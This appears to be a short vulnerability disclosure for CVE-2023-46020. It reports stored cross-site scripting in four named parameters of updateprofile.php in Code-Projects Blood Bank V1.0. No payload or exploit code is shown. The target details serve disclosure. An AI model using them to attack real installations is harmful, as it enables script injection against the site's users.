# Version: 1.0
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0
# CVE : CVE-2023-46020


# Description:

The parameters rename, remail, rphone, and rcity in the /file/updateprofile.php file of Code-Projects Blood Bank V1.0 are susceptible to Stored Cross-Site Scripting (XSS). This vulnerability arises due to insufficient input validation and sanitation of user-supplied data.

Vulnerable File: updateprofile.php

Parameters: rename, remail, rphone, rcity
